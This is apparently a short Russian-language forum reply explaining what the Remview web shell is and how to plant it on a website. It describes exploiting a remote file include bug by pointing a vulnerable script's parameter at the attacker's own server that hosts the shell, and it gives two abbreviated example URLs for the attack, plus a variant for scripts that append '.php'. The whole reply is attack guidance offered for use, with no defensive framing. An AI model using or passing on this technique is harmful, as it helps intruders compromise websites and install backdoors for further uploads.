1)Ремвью является одним их многих видов шеллов,ответ ДА.
3)Способов достаточно...
Например include баг,и ты можешь подключить свой сценарий,тоесть дать ссылу на сервер где лежит твой Ремвью.В результате чего ты сможешь залить любой шелл.
Пример:http://www.anyhost.ru/**.php?=http:/...ru/remviev.php
Есть в бажном скрипте указан что подключаемый файл *php,то просто
http://www.anyhost.ru/**.php?=http:/...rod.ru/remview
Удачи и всё такое